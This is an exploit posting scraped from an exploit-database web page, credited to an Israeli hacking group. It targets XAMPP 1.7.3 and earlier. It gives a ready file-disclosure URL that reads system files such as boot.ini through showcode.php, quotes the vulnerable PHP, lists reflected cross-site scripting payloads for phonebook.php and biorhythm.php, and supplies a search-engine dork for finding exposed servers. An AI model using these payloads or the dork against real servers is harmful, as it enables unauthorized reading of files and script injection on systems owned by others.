Home / os / win7

[webapps / 0day] - XAMPP <= 1.7.3 multiple vulnerabilites

Posted on 01 November 2010

<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'><html xmlns='http://www.w3.org/1999/xhtml'><head><meta http-equiv='Content-Type' content='text/html; charset=utf-8' /><meta http-equiv='Content-Language' content='en' /><title>XAMPP &lt;= 1.7.3 multiple vulnerabilites | Inj3ct0r - exploit database : vulnerability : 0day : shellcode</title><meta name='description' content='XAMPP &lt;= 1.7.3 multiple vulnerabilites by TheLeader in webapps / 0day | Inj3ct0r - exploit database : vulnerability : 0day : shellcode' /><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon' /><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss' /><script type='text/javascript'>var _gaq = _gaq || [];_gaq.push(["_setAccount", "UA-12725838-1"]);_gaq.push(["_trackPageview"]);(function(){var ga = document.createElement("script"); ga.type = "text/javascript"; ga.async = true;ga.src = ("https:" == document.location.protocol ? "https://ssl" : "http://www") + ".google-analytics.com/ga.js";var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(ga, s);})();</script></head><body><pre>======================================
XAMPP &lt;= 1.7.3 multiple vulnerabilites
======================================

#     _             ____  __            __    ___
#    (_)____ _   __/ __ / /_____  ____/ /  _/_/ |
#   / // __  | / / / / / //_/ _ / __  /  / / / /
#  / // / / / |/ / /_/ / ,&lt; /  __/ /_/ /  / / / /
# /_//_/ /_/|___/\____/_/|_|\___/\__,_/  / /_/_/ 
#                   Live by the byte     |_/_/ 
#
# Members:
#
# Pr0T3cT10n
# -=M.o.B.=-
# TheLeader
# Sro
# Debug
#
# Contact: inv0ked.israel@gmail.com
#
# -----------------------------------
#
# Exploit Title: XAMPP &lt;= 1.7.3 multiple vulnerabilites
# Date: 31/10/2010
# Author: TheLeader
# Software Link: http://www.apachefriends.org/en/xampp-windows.html
# Affected Version: 1.7.3 and prior
# Tested on Windows XP Hebrew, Service Pack 3
# ISRAEL, NULLBYTE.ORG.IL
#
# -----------------------------------
  
I. File disclosure
 
XAMPP is vulnerable to a remote file disclosure attack.
The vulnerability exists within the web application supplied with XAMPP.
 
http://[host]/xampp/showcode.php/c:boot.ini?showcode=1
 
showcode.php:
&lt;?php
   echo &#039;&lt;br&gt;&lt;br&gt;&#039;;
   if ($_REQUEST[&#039;showcode&#039;] != 1) {
   echo &#039;&lt;a href=&quot;&#039;.$_SERVER[&#039;PHP_SELF&#039;].&#039;?showcode=1&quot;&gt;&#039;.$TEXT[&#039;global-showcode&#039;].&#039;&lt;/a&gt;&#039;;
   } else {
       $file = file_get_contents(basename($_SERVER[&#039;PHP_SELF&#039;]));
       echo &quot;&lt;h2&gt;&quot;.$TEXT[&#039;global-sourcecode&#039;].&quot;&lt;/h2&gt;&quot;;
       echo &quot;&lt;textarea cols=&#039;100&#039; rows=&#039;10&#039;&gt;&quot;;
       echo htmlspecialchars($file);
       echo &quot;&lt;/textarea&gt;&quot;;
   }
?&gt;
 
showcode.php relies on basename($_SERVER[&#039;PHP_SELF&#039;]) to retrieve the path.
What $_SERVER[&#039;PHP_SELF&#039;] actually does is retrieve is the path of the requested file.
basename() parses the last element of that path using &quot;/&quot; as a delimiter.
 
Traveling through the directory tree, though, requires the &quot;/&quot; character that is used by basename() as a delimiter.
Therefor directory traveling it is not achieved but it is possible to view file contents from any drive, and the XAMPP htdocs directory.
 
II. Cross Site Scripting
 
http://[host]/xampp/phonebook.php/&quot;&gt;&lt;script&gt;alert(&quot;XSS&quot;)&lt;/script&gt;
http://[host]/xampp/biorhythm.php/&quot;&gt;&lt;script&gt;alert(&quot;XSS&quot;)&lt;/script&gt;
 
It is interesting to see the same programming error lead to another security vulnerability.
Some PHP scripts in the XAMPP dir rely on $_SERVER[&#039;PHP_SELF&#039;] for retrieving the &quot;action&quot; tag for HTML forms.
This can be exploited to perform Cross Site Scripting attacks.
 
biorhythm.php (line 75):
&lt;form method=&quot;post&quot; action=&quot;&lt;?php echo basename($_SERVER[&#039;PHP_SELF&#039;]); ?&gt;&quot;&gt;
 
dork: &quot;inurl:xampp/biorhythm.php&quot;


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-11-01]</pre></body></html>

 

TOP

Malware :

Exploits :